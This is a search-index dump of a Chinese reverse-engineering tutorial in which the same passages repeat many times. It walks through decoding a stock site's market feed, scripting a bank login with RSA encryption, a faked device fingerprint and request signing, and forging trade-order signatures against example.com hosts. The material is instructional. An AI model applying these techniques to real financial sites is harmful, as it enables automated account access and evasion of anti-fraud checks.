- 对比学习 Magisk 方案 Frida 完整指南 - 配合 Frida 进行动态分析 eBPF 使用指南 - 使用 eBPF 进行内核级追踪 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:8:0","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#相关章节"},{"categories":null,"collections":null,"content":"金融网站逆向案例 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:0:0","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#金融网站逆向案例"},{"categories":null,"collections":null,"content":"概述 金融网站通常具有极高的安全要求，包括多层加密、动态令牌、设备指纹、行为分析等。本文通过真实案例介绍金融网站的逆向分析方法和安全机制。 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:1:0","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#概述"},{"categories":null,"collections":null,"content":"案例一：股票行情数据加密 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:2:0","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#案例一股票行情数据加密"},{"categories":null,"collections":null,"content":"背景 某股票交易平台的实时行情接口返回加密数据： 前端能实时显示股价、涨跌幅等信息，说明存在解密逻辑。 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:2:1","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#背景"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 使用 Chrome DevTools 观察 WebSocket 通信： // 打开控制台 const ws = new WebSocket(\"wss://stock.example.com/realtime\"); ws.onmessage = function (event) { console.log(\"Raw data:\", event.data); // {\"code\":\"600000\",\"data\":\"eJyNVE1v2zAM...\",\"timestamp\":1702800000} }; 2. 定位解密函数 方法：搜索关键词 在 Sources 面板全局搜索： \"data\" 字段访问 decompress inflate pako (常见压缩库) 找到解密代码： function decodeMarketData(encryptedData) { // 1. Base64 解码 const compressed = atob(encryptedData); // 2. 使用 pako 解压缩 (GZIP) const binaryData = pako.inflate(compressed, { to: \"string\" }); // 3. JSON 解析 return JSON.parse(binaryData); } 3. Python 实现 import base64 import gzip import json def decode_market_data(encrypted_data): # Base64 解码 compressed = base64.b64decode(encrypted_data) # GZIP 解压 decompressed = gzip.decompress(compressed) # JSON 解析 return json.loads(decompressed.decode('utf-8')) # 测试 encrypted = \"eJyNVE1v2zAM/SuBzs4h...\" data = decode_market_data(encrypted) print(data) # { # \"price\": 13.56, # \"change\": 0.23, # \"volume\": 1234567, # ... # } ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:2:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#逆向步骤"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 使用 Chrome DevTools 观察 WebSocket 通信： // 打开控制台 const ws = new WebSocket(\"wss://stock.example.com/realtime\"); ws.onmessage = function (event) { console.log(\"Raw data:\", event.data); // {\"code\":\"600000\",\"data\":\"eJyNVE1v2zAM...\",\"timestamp\":1702800000} }; 2. 定位解密函数 方法：搜索关键词 在 Sources 面板全局搜索： \"data\" 字段访问 decompress inflate pako (常见压缩库) 找到解密代码： function decodeMarketData(encryptedData) { // 1. Base64 解码 const compressed = atob(encryptedData); // 2. 使用 pako 解压缩 (GZIP) const binaryData = pako.inflate(compressed, { to: \"string\" }); // 3. JSON 解析 return JSON.parse(binaryData); } 3. Python 实现 import base64 import gzip import json def decode_market_data(encrypted_data): # Base64 解码 compressed = base64.b64decode(encrypted_data) # GZIP 解压 decompressed = gzip.decompress(compressed) # JSON 解析 return json.loads(decompressed.decode('utf-8')) # 测试 encrypted = \"eJyNVE1v2zAM/SuBzs4h...\" data = decode_market_data(encrypted) print(data) # { # \"price\": 13.56, # \"change\": 0.23, # \"volume\": 1234567, # ... # } ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:2:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#1-抓包分析"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 使用 Chrome DevTools 观察 WebSocket 通信： // 打开控制台 const ws = new WebSocket(\"wss://stock.example.com/realtime\"); ws.onmessage = function (event) { console.log(\"Raw data:\", event.data); // {\"code\":\"600000\",\"data\":\"eJyNVE1v2zAM...\",\"timestamp\":1702800000} }; 2. 定位解密函数 方法：搜索关键词 在 Sources 面板全局搜索： \"data\" 字段访问 decompress inflate pako (常见压缩库) 找到解密代码： function decodeMarketData(encryptedData) { // 1. Base64 解码 const compressed = atob(encryptedData); // 2. 使用 pako 解压缩 (GZIP) const binaryData = pako.inflate(compressed, { to: \"string\" }); // 3. JSON 解析 return JSON.parse(binaryData); } 3. Python 实现 import base64 import gzip import json def decode_market_data(encrypted_data): # Base64 解码 compressed = base64.b64decode(encrypted_data) # GZIP 解压 decompressed = gzip.decompress(compressed) # JSON 解析 return json.loads(decompressed.decode('utf-8')) # 测试 encrypted = \"eJyNVE1v2zAM/SuBzs4h...\" data = decode_market_data(encrypted) print(data) # { # \"price\": 13.56, # \"change\": 0.23, # \"volume\": 1234567, # ... # } ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:2:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#2-定位解密函数"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 使用 Chrome DevTools 观察 WebSocket 通信： // 打开控制台 const ws = new WebSocket(\"wss://stock.example.com/realtime\"); ws.onmessage = function (event) { console.log(\"Raw data:\", event.data); // {\"code\":\"600000\",\"data\":\"eJyNVE1v2zAM...\",\"timestamp\":1702800000} }; 2. 定位解密函数 方法：搜索关键词 在 Sources 面板全局搜索： \"data\" 字段访问 decompress inflate pako (常见压缩库) 找到解密代码： function decodeMarketData(encryptedData) { // 1. Base64 解码 const compressed = atob(encryptedData); // 2. 使用 pako 解压缩 (GZIP) const binaryData = pako.inflate(compressed, { to: \"string\" }); // 3. JSON 解析 return JSON.parse(binaryData); } 3. Python 实现 import base64 import gzip import json def decode_market_data(encrypted_data): # Base64 解码 compressed = base64.b64decode(encrypted_data) # GZIP 解压 decompressed = gzip.decompress(compressed) # JSON 解析 return json.loads(decompressed.decode('utf-8')) # 测试 encrypted = \"eJyNVE1v2zAM/SuBzs4h...\" data = decode_market_data(encrypted) print(data) # { # \"price\": 13.56, # \"change\": 0.23, # \"volume\": 1234567, # ... # } ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:2:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#3-python-实现"},{"categories":null,"collections":null,"content":"案例二：登录加密与双因素认证 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:3:0","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#案例二登录加密与双因素认证"},{"categories":null,"collections":null,"content":"背景 某网银登录流程： 输入用户名密码 密码需要加密传输 需要短信验证码（双因素认证） 登录成功后获取 Token ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:3:1","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#背景-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析登录请求 POST /api/login HTTP/1.1 Content-Type: application/json { \"username\": \"user123\", \"password_enc\": \"MIGfMA0GCSqGSIb3DQEBA...\", \"device_id\": \"uuid-1234-5678\", \"timestamp\": 1702800000, \"sign\": \"e10adc3949ba59abbe56e057f20f883e\" } 2. 分析密码加密 在登录按钮点击事件上设置断点： // 找到加密函数 function encryptPassword(password, publicKey) { // 使用 RSA 公钥加密 const encrypt = new JSEncrypt(); encrypt.setPublicKey(publicKey); return encrypt.encrypt(password); } // 公钥从服务器获取 fetch(\"/api/public-key\") .then((res) =\u003e res.json()) .then((data) =\u003e { const publicKey = data.public_key; const encryptedPwd = encryptPassword(password, publicKey); // 发送登录请求 }); 公钥示例: -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC... -----END PUBLIC KEY----- 3. 设备指纹生成 function generateDeviceId() { const fingerprint = { userAgent: navigator.userAgent, language: navigator.language, platform: navigator.platform, screen: `${screen.width}x${screen.height}`, timezone: new Date().getTimezoneOffset(), plugins: Array.from(navigator.plugins) .map((p) =\u003e p.name) .join(\",\"), canvas: getCanvasFingerprint(), }; // 生成唯一 ID const str = JSON.stringify(fingerprint); return md5(str); } function getCanvasFingerprint() { const canvas = document.createElement(\"canvas\"); const ctx = canvas.getContext(\"2d\"); ctx.textBaseline = \"top\"; ctx.font = \"14px Arial\"; ctx.fillText(\"Device Fingerprint\", 2, 2); return canvas.toDataURL(); } 4. Python 完整实现 import requests import hashlib import time from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 import base64 class BankLogin: def __init__(self): self.session = requests.Session() self.public_key = None def get_public_key(self): \"\"\"获取 RSA 公钥\"\"\" response = self.session.get('https://bank.example.com/api/public-key') self.public_key = response.json()['public_key'] return self.public_key def encrypt_password(self, password): \"\"\"RSA 加密密码\"\"\" key = RSA.import_key(self.public_key) cipher = PKCS1_v1_5.new(key) encrypted = cipher.encrypt(password.encode()) return base64.b64encode(encrypted).decode() def generate_device_id(self): \"\"\"生成设备指纹\"\"\" fingerprint = { 'userAgent': 'Mozilla/5.0...', 'language': 'zh-CN', 'platform': 'Linux x86_64', 'screen': '1920x1080', 'timezone': -480 } fp_str = str(fingerprint) return hashlib.md5(fp_str.encode()).hexdigest() def generate_sign(self, params): \"\"\"生成签名\"\"\" sorted_params = sorted(params.items()) sign_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str += '\u0026key=SECRET_KEY_2023' return hashlib.md5(sign_str.encode()).hexdigest() def login(self, username, password): \"\"\"登录流程\"\"\" # 1. 获取公钥 self.get_public_key() # 2. 加密密码 password_enc = self.encrypt_password(password) # 3. 准备参数 timestamp = int(time.time()) params = { 'username': username, 'password_enc': password_enc, 'device_id': self.generate_device_id(), 'timestamp': timestamp } # 4. 生成签名 params['sign'] = self.generate_sign(params) # 5. 发送登录请求 response = self.session.post( 'https://bank.example.com/api/login', json=params ) return response.json() def verify_sms(self, code): \"\"\"验证短信验证码\"\"\" response = self.session.post( 'https://bank.example.com/api/verify-sms', json={'code': code} ) return response.json() # 使用 bank = BankLogin() result = bank.login('user123', 'password123') print(result) # 输入短信验证码 sms_code = input('请输入短信验证码: ') verify_result = bank.verify_sms(sms_code) print('Token:', verify_result['token']) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:3:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#逆向步骤-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析登录请求 POST /api/login HTTP/1.1 Content-Type: application/json { \"username\": \"user123\", \"password_enc\": \"MIGfMA0GCSqGSIb3DQEBA...\", \"device_id\": \"uuid-1234-5678\", \"timestamp\": 1702800000, \"sign\": \"e10adc3949ba59abbe56e057f20f883e\" } 2. 分析密码加密 在登录按钮点击事件上设置断点： // 找到加密函数 function encryptPassword(password, publicKey) { // 使用 RSA 公钥加密 const encrypt = new JSEncrypt(); encrypt.setPublicKey(publicKey); return encrypt.encrypt(password); } // 公钥从服务器获取 fetch(\"/api/public-key\") .then((res) =\u003e res.json()) .then((data) =\u003e { const publicKey = data.public_key; const encryptedPwd = encryptPassword(password, publicKey); // 发送登录请求 }); 公钥示例: -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC... -----END PUBLIC KEY----- 3. 设备指纹生成 function generateDeviceId() { const fingerprint = { userAgent: navigator.userAgent, language: navigator.language, platform: navigator.platform, screen: `${screen.width}x${screen.height}`, timezone: new Date().getTimezoneOffset(), plugins: Array.from(navigator.plugins) .map((p) =\u003e p.name) .join(\",\"), canvas: getCanvasFingerprint(), }; // 生成唯一 ID const str = JSON.stringify(fingerprint); return md5(str); } function getCanvasFingerprint() { const canvas = document.createElement(\"canvas\"); const ctx = canvas.getContext(\"2d\"); ctx.textBaseline = \"top\"; ctx.font = \"14px Arial\"; ctx.fillText(\"Device Fingerprint\", 2, 2); return canvas.toDataURL(); } 4. Python 完整实现 import requests import hashlib import time from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 import base64 class BankLogin: def __init__(self): self.session = requests.Session() self.public_key = None def get_public_key(self): \"\"\"获取 RSA 公钥\"\"\" response = self.session.get('https://bank.example.com/api/public-key') self.public_key = response.json()['public_key'] return self.public_key def encrypt_password(self, password): \"\"\"RSA 加密密码\"\"\" key = RSA.import_key(self.public_key) cipher = PKCS1_v1_5.new(key) encrypted = cipher.encrypt(password.encode()) return base64.b64encode(encrypted).decode() def generate_device_id(self): \"\"\"生成设备指纹\"\"\" fingerprint = { 'userAgent': 'Mozilla/5.0...', 'language': 'zh-CN', 'platform': 'Linux x86_64', 'screen': '1920x1080', 'timezone': -480 } fp_str = str(fingerprint) return hashlib.md5(fp_str.encode()).hexdigest() def generate_sign(self, params): \"\"\"生成签名\"\"\" sorted_params = sorted(params.items()) sign_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str += '\u0026key=SECRET_KEY_2023' return hashlib.md5(sign_str.encode()).hexdigest() def login(self, username, password): \"\"\"登录流程\"\"\" # 1. 获取公钥 self.get_public_key() # 2. 加密密码 password_enc = self.encrypt_password(password) # 3. 准备参数 timestamp = int(time.time()) params = { 'username': username, 'password_enc': password_enc, 'device_id': self.generate_device_id(), 'timestamp': timestamp } # 4. 生成签名 params['sign'] = self.generate_sign(params) # 5. 发送登录请求 response = self.session.post( 'https://bank.example.com/api/login', json=params ) return response.json() def verify_sms(self, code): \"\"\"验证短信验证码\"\"\" response = self.session.post( 'https://bank.example.com/api/verify-sms', json={'code': code} ) return response.json() # 使用 bank = BankLogin() result = bank.login('user123', 'password123') print(result) # 输入短信验证码 sms_code = input('请输入短信验证码: ') verify_result = bank.verify_sms(sms_code) print('Token:', verify_result['token']) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:3:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#1-抓包分析登录请求"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析登录请求 POST /api/login HTTP/1.1 Content-Type: application/json { \"username\": \"user123\", \"password_enc\": \"MIGfMA0GCSqGSIb3DQEBA...\", \"device_id\": \"uuid-1234-5678\", \"timestamp\": 1702800000, \"sign\": \"e10adc3949ba59abbe56e057f20f883e\" } 2. 分析密码加密 在登录按钮点击事件上设置断点： // 找到加密函数 function encryptPassword(password, publicKey) { // 使用 RSA 公钥加密 const encrypt = new JSEncrypt(); encrypt.setPublicKey(publicKey); return encrypt.encrypt(password); } // 公钥从服务器获取 fetch(\"/api/public-key\") .then((res) =\u003e res.json()) .then((data) =\u003e { const publicKey = data.public_key; const encryptedPwd = encryptPassword(password, publicKey); // 发送登录请求 }); 公钥示例: -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC... -----END PUBLIC KEY----- 3. 设备指纹生成 function generateDeviceId() { const fingerprint = { userAgent: navigator.userAgent, language: navigator.language, platform: navigator.platform, screen: `${screen.width}x${screen.height}`, timezone: new Date().getTimezoneOffset(), plugins: Array.from(navigator.plugins) .map((p) =\u003e p.name) .join(\",\"), canvas: getCanvasFingerprint(), }; // 生成唯一 ID const str = JSON.stringify(fingerprint); return md5(str); } function getCanvasFingerprint() { const canvas = document.createElement(\"canvas\"); const ctx = canvas.getContext(\"2d\"); ctx.textBaseline = \"top\"; ctx.font = \"14px Arial\"; ctx.fillText(\"Device Fingerprint\", 2, 2); return canvas.toDataURL(); } 4. Python 完整实现 import requests import hashlib import time from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 import base64 class BankLogin: def __init__(self): self.session = requests.Session() self.public_key = None def get_public_key(self): \"\"\"获取 RSA 公钥\"\"\" response = self.session.get('https://bank.example.com/api/public-key') self.public_key = response.json()['public_key'] return self.public_key def encrypt_password(self, password): \"\"\"RSA 加密密码\"\"\" key = RSA.import_key(self.public_key) cipher = PKCS1_v1_5.new(key) encrypted = cipher.encrypt(password.encode()) return base64.b64encode(encrypted).decode() def generate_device_id(self): \"\"\"生成设备指纹\"\"\" fingerprint = { 'userAgent': 'Mozilla/5.0...', 'language': 'zh-CN', 'platform': 'Linux x86_64', 'screen': '1920x1080', 'timezone': -480 } fp_str = str(fingerprint) return hashlib.md5(fp_str.encode()).hexdigest() def generate_sign(self, params): \"\"\"生成签名\"\"\" sorted_params = sorted(params.items()) sign_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str += '\u0026key=SECRET_KEY_2023' return hashlib.md5(sign_str.encode()).hexdigest() def login(self, username, password): \"\"\"登录流程\"\"\" # 1. 获取公钥 self.get_public_key() # 2. 加密密码 password_enc = self.encrypt_password(password) # 3. 准备参数 timestamp = int(time.time()) params = { 'username': username, 'password_enc': password_enc, 'device_id': self.generate_device_id(), 'timestamp': timestamp } # 4. 生成签名 params['sign'] = self.generate_sign(params) # 5. 发送登录请求 response = self.session.post( 'https://bank.example.com/api/login', json=params ) return response.json() def verify_sms(self, code): \"\"\"验证短信验证码\"\"\" response = self.session.post( 'https://bank.example.com/api/verify-sms', json={'code': code} ) return response.json() # 使用 bank = BankLogin() result = bank.login('user123', 'password123') print(result) # 输入短信验证码 sms_code = input('请输入短信验证码: ') verify_result = bank.verify_sms(sms_code) print('Token:', verify_result['token']) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:3:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#2-分析密码加密"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析登录请求 POST /api/login HTTP/1.1 Content-Type: application/json { \"username\": \"user123\", \"password_enc\": \"MIGfMA0GCSqGSIb3DQEBA...\", \"device_id\": \"uuid-1234-5678\", \"timestamp\": 1702800000, \"sign\": \"e10adc3949ba59abbe56e057f20f883e\" } 2. 分析密码加密 在登录按钮点击事件上设置断点： // 找到加密函数 function encryptPassword(password, publicKey) { // 使用 RSA 公钥加密 const encrypt = new JSEncrypt(); encrypt.setPublicKey(publicKey); return encrypt.encrypt(password); } // 公钥从服务器获取 fetch(\"/api/public-key\") .then((res) =\u003e res.json()) .then((data) =\u003e { const publicKey = data.public_key; const encryptedPwd = encryptPassword(password, publicKey); // 发送登录请求 }); 公钥示例: -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC... -----END PUBLIC KEY----- 3. 设备指纹生成 function generateDeviceId() { const fingerprint = { userAgent: navigator.userAgent, language: navigator.language, platform: navigator.platform, screen: `${screen.width}x${screen.height}`, timezone: new Date().getTimezoneOffset(), plugins: Array.from(navigator.plugins) .map((p) =\u003e p.name) .join(\",\"), canvas: getCanvasFingerprint(), }; // 生成唯一 ID const str = JSON.stringify(fingerprint); return md5(str); } function getCanvasFingerprint() { const canvas = document.createElement(\"canvas\"); const ctx = canvas.getContext(\"2d\"); ctx.textBaseline = \"top\"; ctx.font = \"14px Arial\"; ctx.fillText(\"Device Fingerprint\", 2, 2); return canvas.toDataURL(); } 4. Python 完整实现 import requests import hashlib import time from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 import base64 class BankLogin: def __init__(self): self.session = requests.Session() self.public_key = None def get_public_key(self): \"\"\"获取 RSA 公钥\"\"\" response = self.session.get('https://bank.example.com/api/public-key') self.public_key = response.json()['public_key'] return self.public_key def encrypt_password(self, password): \"\"\"RSA 加密密码\"\"\" key = RSA.import_key(self.public_key) cipher = PKCS1_v1_5.new(key) encrypted = cipher.encrypt(password.encode()) return base64.b64encode(encrypted).decode() def generate_device_id(self): \"\"\"生成设备指纹\"\"\" fingerprint = { 'userAgent': 'Mozilla/5.0...', 'language': 'zh-CN', 'platform': 'Linux x86_64', 'screen': '1920x1080', 'timezone': -480 } fp_str = str(fingerprint) return hashlib.md5(fp_str.encode()).hexdigest() def generate_sign(self, params): \"\"\"生成签名\"\"\" sorted_params = sorted(params.items()) sign_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str += '\u0026key=SECRET_KEY_2023' return hashlib.md5(sign_str.encode()).hexdigest() def login(self, username, password): \"\"\"登录流程\"\"\" # 1. 获取公钥 self.get_public_key() # 2. 加密密码 password_enc = self.encrypt_password(password) # 3. 准备参数 timestamp = int(time.time()) params = { 'username': username, 'password_enc': password_enc, 'device_id': self.generate_device_id(), 'timestamp': timestamp } # 4. 生成签名 params['sign'] = self.generate_sign(params) # 5. 发送登录请求 response = self.session.post( 'https://bank.example.com/api/login', json=params ) return response.json() def verify_sms(self, code): \"\"\"验证短信验证码\"\"\" response = self.session.post( 'https://bank.example.com/api/verify-sms', json={'code': code} ) return response.json() # 使用 bank = BankLogin() result = bank.login('user123', 'password123') print(result) # 输入短信验证码 sms_code = input('请输入短信验证码: ') verify_result = bank.verify_sms(sms_code) print('Token:', verify_result['token']) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:3:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#3-设备指纹生成"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析登录请求 POST /api/login HTTP/1.1 Content-Type: application/json { \"username\": \"user123\", \"password_enc\": \"MIGfMA0GCSqGSIb3DQEBA...\", \"device_id\": \"uuid-1234-5678\", \"timestamp\": 1702800000, \"sign\": \"e10adc3949ba59abbe56e057f20f883e\" } 2. 分析密码加密 在登录按钮点击事件上设置断点： // 找到加密函数 function encryptPassword(password, publicKey) { // 使用 RSA 公钥加密 const encrypt = new JSEncrypt(); encrypt.setPublicKey(publicKey); return encrypt.encrypt(password); } // 公钥从服务器获取 fetch(\"/api/public-key\") .then((res) =\u003e res.json()) .then((data) =\u003e { const publicKey = data.public_key; const encryptedPwd = encryptPassword(password, publicKey); // 发送登录请求 }); 公钥示例: -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC... -----END PUBLIC KEY----- 3. 设备指纹生成 function generateDeviceId() { const fingerprint = { userAgent: navigator.userAgent, language: navigator.language, platform: navigator.platform, screen: `${screen.width}x${screen.height}`, timezone: new Date().getTimezoneOffset(), plugins: Array.from(navigator.plugins) .map((p) =\u003e p.name) .join(\",\"), canvas: getCanvasFingerprint(), }; // 生成唯一 ID const str = JSON.stringify(fingerprint); return md5(str); } function getCanvasFingerprint() { const canvas = document.createElement(\"canvas\"); const ctx = canvas.getContext(\"2d\"); ctx.textBaseline = \"top\"; ctx.font = \"14px Arial\"; ctx.fillText(\"Device Fingerprint\", 2, 2); return canvas.toDataURL(); } 4. Python 完整实现 import requests import hashlib import time from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 import base64 class BankLogin: def __init__(self): self.session = requests.Session() self.public_key = None def get_public_key(self): \"\"\"获取 RSA 公钥\"\"\" response = self.session.get('https://bank.example.com/api/public-key') self.public_key = response.json()['public_key'] return self.public_key def encrypt_password(self, password): \"\"\"RSA 加密密码\"\"\" key = RSA.import_key(self.public_key) cipher = PKCS1_v1_5.new(key) encrypted = cipher.encrypt(password.encode()) return base64.b64encode(encrypted).decode() def generate_device_id(self): \"\"\"生成设备指纹\"\"\" fingerprint = { 'userAgent': 'Mozilla/5.0...', 'language': 'zh-CN', 'platform': 'Linux x86_64', 'screen': '1920x1080', 'timezone': -480 } fp_str = str(fingerprint) return hashlib.md5(fp_str.encode()).hexdigest() def generate_sign(self, params): \"\"\"生成签名\"\"\" sorted_params = sorted(params.items()) sign_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str += '\u0026key=SECRET_KEY_2023' return hashlib.md5(sign_str.encode()).hexdigest() def login(self, username, password): \"\"\"登录流程\"\"\" # 1. 获取公钥 self.get_public_key() # 2. 加密密码 password_enc = self.encrypt_password(password) # 3. 准备参数 timestamp = int(time.time()) params = { 'username': username, 'password_enc': password_enc, 'device_id': self.generate_device_id(), 'timestamp': timestamp } # 4. 生成签名 params['sign'] = self.generate_sign(params) # 5. 发送登录请求 response = self.session.post( 'https://bank.example.com/api/login', json=params ) return response.json() def verify_sms(self, code): \"\"\"验证短信验证码\"\"\" response = self.session.post( 'https://bank.example.com/api/verify-sms', json={'code': code} ) return response.json() # 使用 bank = BankLogin() result = bank.login('user123', 'password123') print(result) # 输入短信验证码 sms_code = input('请输入短信验证码: ') verify_result = bank.verify_sms(sms_code) print('Token:', verify_result['token']) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:3:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#4-python-完整实现"},{"categories":null,"collections":null,"content":"案例三：交易订单签名防篡改 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:4:0","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#案例三交易订单签名防篡改"},{"categories":null,"collections":null,"content":"背景 股票交易下单接口需要对订单参数进行签名，防止参数被篡改： POST /api/trade/order HTTP/1.1 { \"stock_code\": \"600000\", \"action\": \"buy\", \"price\": 13.56, \"quantity\": 1000, \"timestamp\": 1702800000, \"nonce\": \"abc123\", \"signature\": \"1a2b3c4d...\" } ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:4:1","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#背景-2"},{"categories":null,"collections":null,"content":"逆向分析 1. 定位签名生成函数 在下单按钮上设置断点，追踪调用栈： function generateOrderSignature(orderData) { // 1. 参数排序 const keys = Object.keys(orderData).sort(); // 2. 拼接字符串 let signStr = \"\"; keys.forEach((key) =\u003e { if (key !== \"signature\") { signStr += `${key}=${orderData[key]}\u0026`; } }); // 3. 添加私钥（从 localStorage 获取） const privateKey = localStorage.getItem(\"user_private_key\"); signStr += `key=${privateKey}`; // 4. SHA256 签名 return CryptoJS.SHA256(signStr).toString(); } 2. 私钥获取 私钥在登录成功后存储： // 登录响应 { \"token\": \"eyJhbGciOiJIUzI1NiIs...\", \"private_key\": \"sk_live_1234567890abcdef\" // 用户私钥 } // 存储到 localStorage localStorage.setItem('user_private_key', data.private_key); 3. Python 实现 import hashlib import time import uuid def generate_order_signature(order_data, private_key): # 移除 signature 字段 params = {k: v for k, v in order_data.items() if k != 'signature'} # 参数排序 sorted_params = sorted(params.items()) # 拼接字符串 sign_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str += f'\u0026key={private_key}' # SHA256 return hashlib.sha256(sign_str.encode()).hexdigest() # 下单 order_data = { 'stock_code': '600000', 'action': 'buy', 'price': 13.56, 'quantity': 1000, 'timestamp': int(time.time()), 'nonce': str(uuid.uuid4()) } # 生成签名 private_key = 'sk_live_1234567890abcdef' # 从登录响应获取 order_data['signature'] = generate_order_signature(order_data, private_key) # 发送订单 response = requests.post( 'https://stock.example.com/api/trade/order', json=order_data, headers={'Authorization': f'Bearer {token}'} ) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:4:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#逆向分析"},{"categories":null,"collections":null,"content":"逆向分析 1. 定位签名生成函数 在下单按钮上设置断点，追踪调用栈： function generateOrderSignature(orderData) { // 1. 参数排序 const keys = Object.keys(orderData).sort(); // 2. 拼接字符串 let signStr = \"\"; keys.forEach((key) =\u003e { if (key !== \"signature\") { signStr += `${key}=${orderData[key]}\u0026`; } }); // 3. 添加私钥（从 localStorage 获取） const privateKey = localStorage.getItem(\"user_private_key\"); signStr += `key=${privateKey}`; // 4. SHA256 签名 return CryptoJS.SHA256(signStr).toString(); } 2. 私钥获取 私钥在登录成功后存储： // 登录响应 { \"token\": 